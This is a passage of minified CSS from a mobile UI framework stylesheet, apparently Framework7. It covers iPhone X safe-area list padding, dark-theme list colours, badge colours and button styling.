.ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner{padding-left:calc(42px + constant(safe-area-inset-left));padding-left:calc(42px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row{padding-left:0}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after{right:calc(16px + const(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list.md .theme-dark ul:before,.md .theme-dark .list ul:before{background-color:rgba(255,255,255,.08)}.list.md .theme-dark ul:after,.md .theme-dark .list ul:after{background-color:rgba(255,255,255,.08)}.list.md .theme-dark li li:last-child .item-inner:after,.list.md .theme-dark li:last-child li .item-inner:after,.md .theme-dark .list li li:last-child .item-inner:after,.md .theme-dark .list li:last-child li .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-group-title:before{background-color:rgba(255,255,255,.08)}.md .theme-dark .list-button:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-inner:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-divider,.md .theme-dark .list-group-title{background-color:#111;color:#fff}.links-list.md .theme-dark a .simple-list li:after,.md .theme-dark .links-list a:after,.md .theme-dark .simple-list li:after,.simple-list.md .theme-dark li:after{background-color:rgba(255,255,255,.08)}.links-list.md .theme-dark a.active-state,.list.md .theme-dark .item-link.active-state,.list.md .theme-dark .list-button.active-state,.md .theme-dark .links-list a.active-state,.md .theme-dark .list .item-link.active-state,.md .theme-dark .list .list-button.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .item-after,.md .theme-dark .item-text{color:rgba(255,255,255,.54)}.md .color-theme-red .list-button{color:#f44336}.md .color-theme-green .list-button{color:#4caf50}.md .color-theme-blue .list-button{color:#2196f3}.md .color-theme-pink .list-button{color:#e91e63}.md .color-theme-yellow .list-button{color:#ffeb3b}.md .color-theme-orange .list-button{color:#ff9800}.md .color-theme-gray .list-button{color:#9e9e9e}.md .color-theme-white .list-button{color:#fff}.md .color-theme-black .list-button{color:#000}.md .links-list a.color-red,.md .links-list li.color-red a,.md .list .item-link.color-red,.md .list .list-button.color-red,.md .list li.color-red .item-link,.md .list li.color-red .list-button,.md .simple-list li.color-red{color:#f44336}.md .links-list a.color-green,.md .links-list li.color-green a,.md .list .item-link.color-green,.md .list .list-button.color-green,.md .list li.color-green .item-link,.md .list li.color-green .list-button,.md .simple-list li.color-green{color:#4caf50}.md .links-list a.color-blue,.md .links-list li.color-blue a,.md .list .item-link.color-blue,.md .list .list-button.color-blue,.md .list li.color-blue .item-link,.md .list li.color-blue .list-button,.md .simple-list li.color-blue{color:#2196f3}.md .links-list a.color-pink,.md .links-list li.color-pink a,.md .list .item-link.color-pink,.md .list .list-button.color-pink,.md .list li.color-pink .item-link,.md .list li.color-pink .list-button,.md .simple-list li.color-pink{color:#e91e63}.md .links-list a.color-yellow,.md .links-list li.color-yellow a,.md .list .item-link.color-yellow,.md .list .list-button.color-yellow,.md .list li.color-yellow .item-link,.md .list li.color-yellow .list-button,.md .simple-list li.color-yellow{color:#ffeb3b}.md .links-list a.color-orange,.md .links-list li.color-orange a,.md .list .item-link.color-orange,.md .list .list-button.color-orange,.md .list li.color-orange .item-link,.md .list li.color-orange .list-button,.md .simple-list li.color-orange{color:#ff9800}.md .links-list a.color-gray,.md .links-list li.color-gray a,.md .list .item-link.color-gray,.md .list .list-button.color-gray,.md .list li.color-gray .item-link,.md .list li.color-gray .list-button,.md .simple-list li.color-gray{color:#9e9e9e}.md .links-list a.color-white,.md .links-list li.color-white a,.md .list .item-link.color-white,.md .list .list-button.color-white,.md .list li.color-white .item-link,.md .list li.color-white .list-button,.md .simple-list li.color-white{color:#fff}.md .links-list a.color-black,.md .links-list li.color-black a,.md .list .item-link.color-black,.md .list .list-button.color-black,.md .list li.color-black .item-link,.md .list li.color-black .list-button,.md .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.ios .badge{font-size:13px;border-radius:20px;padding:0 6px;height:20px;line-height:20px}.item-after .ios .badge{min-width:20px}.ios .f7-icons .badge,.ios .framework7-icons .badge,.ios .icon .badge,.ios .material-icons .badge{line-height:16px;height:16px;border-radius:16px;padding:0 4px;min-width:16px;font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:10px}.ios .badge.color-red{background-color:#ff3b30}.ios .badge.color-green{background-color:#4cd964}.ios .badge.color-blue{background-color:#007aff}.ios .badge.color-pink{background-color:#ff2d55}.ios .badge.color-yellow{background-color:#fc0}.ios .badge.color-orange{background-color:#ff9500}.ios .badge.color-gray{background-color:#8e8e93}.ios .badge.color-white{background-color:#fff}.ios .badge.color-black{background-color:#000}.md .badge{font-size:10px;border-radius:3px;padding:1px 6px;vertical-align:middle}.md .f7-icons .badge,.md .framework7-icons .badge,.md .icon .badge,.md .material-icons .badge{line-height:1.4;padding:1px 5px;font-family:Roboto,Noto,Helvetica,Arial,sans-serif;font-size:10px}.md .badge.color-red{background-color:#f44336}.md .badge.color-green{background-color:#4caf50}.md .badge.color-blue{background-color:#2196f3}.md .badge.color-pink{background-color:#e91e63}.md .badge.color-yellow{background-color:#ffeb3b}.md .badge.color-orange{background-color:#ff9800}.md .badge.color-gray{background-color:#9e9e9e}.md .badge.color-white{background-color:#fff}.md .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.ios .button{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px}.ios .button.active-state{background:rgba(0,122,255,.15)}.ios .button.button-round,.ios .button.button-round-ios{border-radius:29px}.ios .button.button-active,.ios .button.tab-link-active{background:#007aff;color:#fff}.ios .button.button-big,.ios .button.button-big-ios{font-size:17px;height:44px;line-height:42px}.ios .button.button-small,.ios .button.button-small-ios{height:26px;line-height:22px;border-width:2px;font-size:13px;font-weight:600;text-transform:uppercase;-webkit-transition-duration:.2s;transition-duration:.2s}.ios .button.button-small-ios.button-fill-ios.active-state,.ios .button.button-small-ios.button-fill.active-state,.ios .button.button-small.button-fill-ios.active-state,.ios .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent;opacity:1}.ios .button.button-fill,.ios .button.button-fill-ios{color:#fff;background:#007aff;border-color:transparent}.ios .button.button-fill-ios.active-state,.ios .button.button-fill.active-state{opacity:.8}.ios .button i.icon:first-child{margin-left:10px}.ios .button i.icon:last-child{margin-right:10px}.ios .button i.icon:first-child:last-child{margin-left:0;margin-right:0}.ios .segmented .button{border-radius:0;border-right-width:0}.ios .segmented .button:first-child{border-radius:0 5px 5px 0;border-right-width:1px;border-right-style:solid}.ios .segmented .button:first-child.button-small{border-right-width:2px}.ios .segmented .button:last-child{border-radius:5px 0 0 5px}.ios .segmented .button:first-child:last-child{border-radius:5px}.ios .segmented 